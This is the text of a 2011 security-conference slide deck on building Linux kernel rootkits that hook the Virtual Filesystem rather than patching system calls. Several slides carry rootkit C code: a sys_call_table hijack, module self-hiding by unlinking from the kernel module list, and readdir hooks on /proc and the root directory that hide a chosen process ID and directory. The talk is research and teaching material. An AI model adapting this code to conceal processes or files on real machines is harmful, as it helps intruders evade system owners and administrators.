22
Linux rootkits without syscall patching, (the VFS way) Confraria SECURITY & IT – 28 Set 2011

Confraria SECURITY & IT - Lisbon Set 29, 2011

Embed Size (px)

Citation preview

Page 1: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux rootkits without syscall patching, (the VFS way) Confraria SECURITY & IT – 28 Set 2011

Page 2: Confraria SECURITY & IT - Lisbon Set 29, 2011

#> whoami §  Ricardo Mourato – 25 yo

§  Computer Science Degree

§  InfoSec & SuperBock Stout addicted

§  OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic

§  Java, .Net, Python, Ruby, C, C++, ASM Lover

§  Windows (All versions) , Perl (All versions) and Printers (Yes, they came from hell !) hater

§  root, right here :)

2

Page 3: Confraria SECURITY & IT - Lisbon Set 29, 2011

Agenda §  Linux rootkits – brief talk

§  Linux 2.{5,6} kernel – what changed ?

§  The Virtual Filesystem (VFS)

§  Meet /proc, our friend!

§  Introducing

§  Show time J

§  Retrospect

§  Questions & Answers

3

Page 4: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux rootkits – how they were? §  In the beginning…

§  User-land Trojaned binaries mostly §  Easy to spot §  Easy to code §  However, hard to hide!

§  LRK5 was a good bastard…

4

Page 5: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux rootkits – how they were? §  Not so far away…

§  The Kernel-land approach §  Loadable Kernel Modules or /dev/kmem “patching” §  Syscall patching §  Easy to code §  Less easy to find

Adore & suckit were also good bastards!

5

Page 6: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux rootkits – how they were? extern void *sys_call_table[]; int init_module(void) {

original_call = sys_call_table[__NR_open]; sys_call_table[__NR_open] = evil_open; return 0;

}

6

Page 7: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux 2.{5,6} – what changed?

§  Main change:

§  OMG! sys_call_table[] no longer exported!!! §  Even if you find it, it will be read-only

§  Workaround:

§  Find IDT §  Find the 0x80 interrupt §  Get the system_call() function location §  Use gdb kung fu and search memory for sys_call_table[] within

this function

7

Page 8: Confraria SECURITY & IT - Lisbon Set 29, 2011

Linux 2.{5,6} – what changed?

8

$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call … 0xc0106bf4 : call *0xc01e0f18(,%eax,4) … (gdb) print &sys_call_table $1 = ( *) 0xc01e0f18

Page 9: Confraria SECURITY & IT - Lisbon Set 29, 2011

The Virtal Filesystem

9

§  Is the primary interface to underlying filesystems (common file model)

§  Exports a set of interfaces for every individual filesystem

§  Each filesystem must “implement” this interface in order to become a common file model

§  Some interesting players are:

§  struct dentry; §  struct file_operations; §  struct inode_operations;

Page 10: Confraria SECURITY & IT - Lisbon Set 29, 2011

/proc is our friend

10

§  So… everything in linux “is a file” right?

§  Including the ones located at /proc even if “in memory”

§  And… most user-land tools rely on /proc to get information! §  This tools include:

§  ps §  netstat §  top §  mount §  And many, many others…

§  Remember struct file_operations ? J

Page 11: Confraria SECURITY & IT - Lisbon Set 29, 2011

Introducing Fuckit…

11

§  Fu Control Kit (just in case!)

§  A research born VFS rootkit capable of:

§  Hide itself ß No sh*t sherlock? §  Hide processes §  Hide files and directories §  TTY sniffing

Page 12: Confraria SECURITY & IT - Lisbon Set 29, 2011

Module hiding

12

§  Modules are linked together in a double link list maintained by the

kernel

§  The kernel have internal functions to “unlink” the unloaded modules from the list

§  Just use them wisely J

Page 13: Confraria SECURITY & IT - Lisbon Set 29, 2011

Module hiding

13

static struct module *m = THIS_MODULE; void hideme(void){

kobject_del(&m->mkobj.kobj); list_del(&m->list);

}

Page 14: Confraria SECURITY & IT - Lisbon Set 29, 2011

“Hook” the Virtual Filesystem (/proc)

14

static struct file_operations *proc_fops; ß remember again? J void hook_proc(void){

/* we are not /proc yet */ key = create_proc_entry(KEY,0666,NULL); /* now we become /proc :) */ proc = key->parent; /* save the original, we will need it later*/ proc_fops = (struct file_operations *)proc->proc_fops;

original_proc_readdir = proc_fops->readdir; /* tha hook */ proc_fops->readdir = fuckit_proc_readdir;

}

Page 15: Confraria SECURITY & IT - Lisbon Set 29, 2011

“Hook” the Virtual Filesystem (/)

15

static struct file *f; int hook_root(void){

f = filp_open("/",O_RDONLY,0600); if(IS_ERR(f)){ return -1; } original_root_readdir = f->f_op->readdir; f->f_op->readdir=fuckit_root_readdir; filp_close(f,NULL);

return 0; }

Page 16: Confraria SECURITY & IT - Lisbon Set 29, 2011

Process hiding

16

static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){

//our hidden PID :) if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){ return 0; }

return original_filldir(__buf,name,namelen,offset,ino,d_type); } static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){

//save this, we will need to return it later original_filldir = filldir; return original_proc_readdir(filp,dirent,fuckit_proc_filldir);

}

Page 17: Confraria SECURITY & IT - Lisbon Set 29, 2011

File and Directory hiding

17

static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){

//if is our hidden file/directory return nothing! :) if(strncmp(name,HIDDEN_DIR,namelen)==0){ return 0; }

return original_root_filldir(__buf,name,namelen,offset,ino,d_type); } static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){

//save this, we will need to return it later original_root_filldir = filldir; return original_root_readdir(filp,dirent,fuckit_root_filldir);

}

Page 18: Confraria SECURITY & IT - Lisbon Set 29, 2011

Seeing is believing

18

Page 19: Confraria SECURITY & IT - Lisbon Set 29, 2011

Retrospect

19

§  Syscall patching in 2.6 kernel is a true “pain in the a**”

§  VFS hooks, they also do the job!

§  It is a good approach, however it has some cons

§  It is possible to “brute force” /proc for hidden pids §  You should let the Linux scheduler do this job!

§  Hypervisor rootkits will kill -9 every kernel rookits on earth! J

Page 20: Confraria SECURITY & IT - Lisbon Set 29, 2011

References

20

§  IBM developerWorks “Anatomy of the Linux filesystem”. Internet:

http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/. [Jan 25, 2011]

§  WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]

§  Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan 25, 2011]

§  Ubra “Process Hiding & The Linux scheduler”. Internet: http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]

Page 21: Confraria SECURITY & IT - Lisbon Set 29, 2011

21

Page 22: Confraria SECURITY & IT - Lisbon Set 29, 2011

Questions & Answers

22

?